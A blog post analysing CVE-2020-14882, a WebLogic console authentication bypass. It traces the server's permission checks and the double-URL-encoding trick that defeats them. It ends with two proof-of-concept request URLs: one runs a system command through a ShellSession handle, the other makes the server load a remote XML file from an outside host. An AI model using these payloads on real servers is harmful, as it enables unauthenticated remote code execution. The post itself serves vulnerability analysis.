Bypassing login in WebLogic – Analysis of CVE-2020-14882 Vulnerability

Abstract

The console of WebLogic required login with username and password. However, by exploiting the vulnerability, an attacker is can bypass authorization to access its console.

Patch diff

This example was demonstrated in WebLogic 12.2.1.4. Another version is similar.

It’s a handler class for WebLogic’s HTTP access. The solution to solve it is quite simple: match any dangerous character in the URL, terminate it if contains. Such dangerous characters are list below:

private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", 
"..", "%3C", "%3E", "<", ">"};

Permission control of WebLogic’s console

First, we need to dive deep into the permission control of WebLogic’s Console.
In method weblogic.servlet.internal.WebAppServletContext#doSecuredExecute that handle URL, it will determine whether user has permission to access this URL.

            if (context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
                if (s != null) {
                    int count = ((SessionSecurityData)s).getConcurrentRequestCount();
                    if (maxConcurrentRequestsAllowed != -1 && count > maxConcurrentRequestsAllowed) {
                        context.logError("Rejecting request since concurrent requests allowable limit exceeded :" + maxConcurrentRequestsAllowed);
                        rsp.sendError(500);
                        return;
                    }
                }

And then, in weblogic.servlet.security.internal.WebAppSecurity#checkAccess(HttpServletRequest, HttpServletResponse, boolean, boolean, boolean), determine whether accessing all URL need permission. Probably concerned of the compatibility of browser, we can access all static resources without login. Because most browser will add cookie while retrieving static resources. So, WebLogic will response a ResourceConstraint object, which describe the detail permission information of request based on whether the request URL a static resource.

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);

authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint, 
applyAuthFilters)

Then, it invoke weblogic.servlet.security.internal.SecurityModule#isAuthorized to retrieve user session, and call weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess for further verification.
Finally, it determine whether the HTTP request is authorized based on ResourceConstraint object, by calling weblogic.servlet.security.internal.WebAppSecurity#hasPermission in weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm.

If a user is accessing static resource, the field of unrestricted will be response and hasPermission field will be set to true, so that WebLogic will grant access to user. If the user is accessing a non-static resource, the request will be intercept and redirect to login page.
As the result, the key to bypassing the authorization is how to access restricted resource. However, WebLogic returns a ResourceConstraint object of static resource.

Analysis of bypassing permission

Back to the beginning method:

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request)

weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)

ResourceConstraint rcForAllMethods = consForAllMethods == null ? null : 
(ResourceConstraint)consForAllMethods.get(relURI);

    public Object get(String path) {
        path = path.length() == 0 ? "/" : this.cased(path);
        Object value = null;
        if ((value = this.getExactOrPathMatch(path)) != null) {
            return value;
        } else {
            return (value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
        }
    }

Here, the server calls weblogic.servlet.utils.StandardURLMapping#get to response correspondent ResourceConstraint object based on URL.

First, it invoke getExactOrPathMatch method, which based on request URL, to match whether it exists in static resource list.

And %252E%252E%252F is just the result of URL secondary encoding of ../ . In this way, the ResourceCOnstraint object of the static resource can be returned without affecting normal access.

The reason of Weblogic secondary encoding
We can see that ../ has been encoded twice in poc. Let’s dive deep into why WebLogic can be decoded.
According to HTTP protocol, URL required to be encoded to send to server. The server decodes it and then process. This is the first layer of URL encoded.
WebLogic will handle second layer of URL encoded in com.bea.netuix.servlets.manager.UIServletInternal#getTree,

    public static UIControl getTree(String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {
        HttpServletRequest request = ctxt.getServletRequest();
        HttpServletResponse response = ctxt.getServletResponse();
        requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());

URLDecoder.decode will do the second decoding of the URL after first encoding.
That is why secondary encoding can bypass it.

POC

weblogic 12

http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

weblogic 10

http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.184.1:8000/spel.xml")
posted @ 2020-10-29 22:12  potatso  阅读(1119)  评论(0编辑  收藏  举报